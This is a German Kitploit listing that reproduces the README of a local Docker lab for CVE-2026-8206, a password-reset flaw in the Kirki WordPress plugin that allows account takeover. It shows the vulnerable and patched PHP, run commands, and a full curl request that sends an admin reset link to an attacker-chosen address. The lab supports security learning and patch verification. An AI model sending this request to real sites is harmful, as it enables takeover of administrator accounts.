Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8206-Lab | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationCTFLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-8206 - Kirki-Kontoübernahme-Labor

Lokales Docker-Labor zur Demonstration von CVE-2026-8206 im Kirki-WordPress-Plugin.

Dieses Repository vergleicht die echten Kirki-Plugin-Versionen:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

Das Labor ist rein lokal und bindet die WordPress-Dienste an 127.0.0.1. Der PoC ist auf geringstmöglichen Schaden ausgelegt: Er fordert einen Passwort-Reset an und überprüft den im Labor erfassten E-Mail-Empfänger. Er ändert kein Passwort.


Zusammenfassung

CVE-2026-8206 ist eine nicht authentifizierte Schwachstelle für Kontenübernahme / Privilegienausweitung in Kirki-Versionen 6.0.0 bis 6.0.6.

Der anfällige Passwort-Reset-Handler erstellt einen Reset-Schlüssel für einen echten WordPress-Benutzer, der über username ausgewählt wird, sendet die Reset-E-Mail jedoch an eine beliebige, in der Anfrage angegebene E-Mail-Adresse.

In diesem Labor:

root@kitploit:~
vulnerable => reset link for admin is sent to [email protected]
patched    => mismatched email is rejected and no reset email is sent to [email protected]

Betroffene Komponente

  • Produkt: Kirki – Freeform Page Builder, Website Builder & Customizer
  • Betroffene Versionen: 6.0.0 bis 6.0.6
  • Behobene Version: 6.0.7
  • Verwundbarer Endpunkt in diesem Labor:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

Grundursache

Der anfällige Handler ist:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

Verwundbares Verhalten in 6.0.6

Kirki liest die vom Angreifer übermittelte E-Mail aus dem Anfragetext:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

Anschließend ermittelt es den Ziel-WordPress-Benutzer anhand des Benutzernamens und erstellt einen Passwort-Reset-Schlüssel für diesen Benutzer:

root@kitploit:~
$key = get_password_reset_key( $user );

Die endgültige Reset-E-Mail wird jedoch an die in der Anfrage übermittelte $email gesendet:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

Dadurch wird die Vertrauensgrenze zwischen der Kontoidentität und dem Empfänger der Reset-E-Mail gebrochen. Ein nicht authentifizierter Anfragender kann Folgendes bereitstellen:

root@kitploit:~
username=admin
[email protected]

Der Reset-Schlüssel gehört admin, die E-Mail wird jedoch an die vom Angreifer kontrollierte Adresse zugestellt.

Korrigiertes Verhalten in 6.0.7

Kirki 6.0.7 validiert, dass die angegebene E-Mail mit der registrierten E-Mail-Adresse des ermittelten Benutzers übereinstimmt, und setzt den Empfänger vor dem Senden auf die Konto-E-Mail-Adresse:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

Laboraufbau

Lokale E-Mails werden in Dateien erfasst, anstatt extern versendet zu werden:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

Das Labor verwendet echte, mit WP-CLI installierte Kirki-Plugin-Versionen. Der Plugin-Quellcode wird nicht verändert.


Repository-Struktur

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

Voraussetzungen

  • Docker Desktop oder Docker Engine
  • Docker Compose v2
  • Python 3
  • Python-Paket requests

Python-Abhängigkeit bei Bedarf installieren:

root@kitploit:~
python3 -m pip install requests

Labor ausführen

Container starten:

root@kitploit:~
docker compose up -d --build

Beide WordPress-Instanzen initialisieren:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

PoC ausführen:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

Erwartete Ergebnisse

Verwundbar: Kirki 6.0.6

Erwartetes Ergebnis:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

Dies beweist, dass die verwundbare Version eine Passwort-Reset-E-Mail für das Zielkonto an die vom Angreifer kontrollierte Adresse gesendet hat.

Gepatcht: Kirki 6.0.7

Erwartetes Ergebnis:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

Dies beweist, dass die gepatchte Version die Abweichung zwischen Benutzername und E-Mail-Adresse ablehnt und die Reset-E-Mail nicht an die vom Angreifer kontrollierte Adresse sendet.


Manuelle Überprüfung

Erstellen Sie das korrekte Kirki-Element-Nonce im verwundbaren Labor:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

Senden Sie eine rein lokale Anfrage an den verwundbaren Dienst:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

Erfasste E-Mails prüfen:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

Erwarteter Nachweis:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

Sicherheit

Dieses Labor ist ausschließlich für lokale Sicherheitsforschung und die Demonstration im Portfolio gedacht.

Schutzvorkehrungen:

  • Bindet Dienste ausschließlich an 127.0.0.1.
  • Verwendet lokale Dummy-E-Mail-Adressen.
  • Erfasst E-Mails lokal, anstatt echte E-Mails zu senden.
  • Ändert keine Passwörter.
  • Versucht keine Ausnutzung externer Systeme.

Bereinigung

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

Referenzen

  • CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Wordfence-Sicherheitshinweis: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Wordfence-Schwachstellendatenbank: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • WordPress-Plugin-Seite / Changelog: https://wordpress.org/plugins/kirki/
  • OpenCVE-Eintrag: https://app.opencve.io/cve/CVE-2026-8206
Tool herunterladen
ServiceZweckHost-URL
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnMySQL für das verwundbare WordPressNur Docker-Netzwerk
db_patchedMySQL für das gepatchte WordPressNur Docker-Netzwerk
wpcli_vulnInitialisiert das verwundbare WordPressEinmal-Setup
wpcli_patchedInitialisiert das gepatchte WordPressEinmal-Setup